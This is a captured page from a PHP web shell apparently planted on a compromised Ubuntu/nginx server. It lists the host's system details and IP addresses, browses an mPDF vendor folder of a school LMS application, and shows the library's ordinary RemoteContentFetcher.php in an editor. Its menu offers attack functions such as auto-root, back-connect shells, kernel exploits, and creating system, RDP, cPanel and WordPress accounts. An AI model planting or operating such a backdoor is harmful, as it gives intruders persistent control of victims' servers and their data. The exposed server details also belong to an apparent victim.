Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
api.lmsschool /
vendor /
mpdf /
mpdf /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Barcode
[ DIR ]
drwxr-xr-x
Color
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Conversion
[ DIR ]
drwxr-xr-x
Css
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Fonts
[ DIR ]
drwxr-xr-x
Gif
[ DIR ]
drwxr-xr-x
Image
[ DIR ]
drwxr-xr-x
Language
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Output
[ DIR ]
drwxr-xr-x
Pdf
[ DIR ]
drwxr-xr-x
Shaper
[ DIR ]
drwxr-xr-x
Tag
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
Writer
[ DIR ]
drwxr-xr-x
Barcode.php
4.96
KB
-rw-r--r--
Cache.php
2.01
KB
-rw-r--r--
CssManager.php
76.88
KB
-rw-r--r--
DirectWrite.php
14.58
KB
-rw-r--r--
Form.php
67.26
KB
-rw-r--r--
FpdiTrait.php
11.51
KB
-rw-r--r--
Gradient.php
33.93
KB
-rw-r--r--
HTMLParserMode.php
731
B
-rw-r--r--
Hyphenator.php
4.84
KB
-rw-r--r--
Mpdf.php
933.95
KB
-rw-r--r--
MpdfException.php
73
B
-rw-r--r--
MpdfImageException.php
82
B
-rw-r--r--
Otl.php
248.35
KB
-rw-r--r--
OtlDump.php
162.53
KB
-rw-r--r--
PageFormat.php
2.33
KB
-rw-r--r--
RemoteContentFetcher.php
3.41
KB
-rw-r--r--
ServiceFactory.php
4.3
KB
-rw-r--r--
SizeConverter.php
3.39
KB
-rw-r--r--
Strict.php
1.5
KB
-rw-r--r--
TTFontFile.php
168.09
KB
-rw-r--r--
TTFontFileAnalysis.php
14.21
KB
-rw-r--r--
TableOfContents.php
32.67
KB
-rw-r--r--
Tag.php
7.23
KB
-rw-r--r--
Ucdn.php
128.86
KB
-rw-r--r--
functions-dev.php
165
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : RemoteContentFetcher.php
<?php namespace Mpdf; use Mpdf\Utils\Arrays; use Psr\Log\LoggerInterface; use Mpdf\Log\Context as LogContext; class RemoteContentFetcher implements \Psr\Log\LoggerAwareInterface { /** * @var \Mpdf\Mpdf */ private $mpdf; /** * @var \Psr\Log\LoggerInterface */ private $logger; public function __construct(Mpdf $mpdf, LoggerInterface $logger) { $this->mpdf = $mpdf; $this->logger = $logger; } public function getFileContentsByCurl($url) { $this->logger->debug(sprintf('Fetching (cURL) content of remote URL "%s"', $url), ['context' => LogContext::REMOTE_CONTENT]); $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1'); // mPDF 5.7.4 curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_NOBODY, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this->mpdf->curlTimeout); if ($this->mpdf->curlFollowLocation) { curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); } if ($this->mpdf->curlAllowUnsafeSslRequests) { curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); } if (is_file($this->mpdf->curlCaCertificate)) { curl_setopt($ch, CURLOPT_CAINFO, $this->mpdf->curlCaCertificate); } if ($this->mpdf->curlProxy) { curl_setopt($ch, CURLOPT_PROXY, $this->mpdf->curlProxy); if ($this->mpdf->curlProxyAuth) { curl_setopt($ch, CURLOPT_PROXYUSERPWD, $this->mpdf->curlProxyAuth); } } $data = curl_exec($ch); if (curl_error($ch)) { $message = sprintf('cURL error: "%s"', curl_error($ch)); $this->logger->error($message, ['context' => LogContext::REMOTE_CONTENT]); if ($this->mpdf->debug) { throw new \Mpdf\MpdfException($message); } } $info = curl_getinfo($ch); if (isset($info['http_code']) && $info['http_code'] !== 200) { $message = sprintf('HTTP error: %d', $info['http_code']); $this->logger->error($message, ['context' => LogContext::REMOTE_CONTENT]); if ($this->mpdf->debug) { throw new \Mpdf\MpdfException($message); } } curl_close($ch); return $data; } public function getFileContentsBySocket($url) { $this->logger->debug(sprintf('Fetching (socket) content of remote URL "%s"', $url), ['context' => LogContext::REMOTE_CONTENT]); // mPDF 5.7.3 $timeout = 1; $p = parse_url($url); $file = Arrays::get($p, 'path', ''); $scheme = Arrays::get($p, 'scheme', ''); $port = Arrays::get($p, 'port', 80); $prefix = ''; if ($scheme === 'https') { $prefix = 'ssl://'; $port = Arrays::get($p, 'port', 443); } $query = Arrays::get($p, 'query', null); if ($query) { $file .= '?' . $query; } if (!($fh = @fsockopen($prefix . $p['host'], $port, $errno, $errstr, $timeout))) { $this->logger->error(sprintf('Socket error "%s": "%s"', $errno, $errstr), ['context' => LogContext::REMOTE_CONTENT]); return false; } $getstring = 'GET ' . $file . " HTTP/1.0 \r\n" . 'Host: ' . $p['host'] . " \r\n" . "Connection: close\r\n\r\n"; fwrite($fh, $getstring); // Get rid of HTTP header $s = fgets($fh, 1024); if (!$s) { return false; } while (!feof($fh)) { $s = fgets($fh, 1024); if ($s === "\r\n") { break; } } $data = ''; while (!feof($fh)) { $data .= fgets($fh, 1024); } fclose($fh); return $data; } public function setLogger(LoggerInterface $logger) { $this->logger = $logger; } }
Close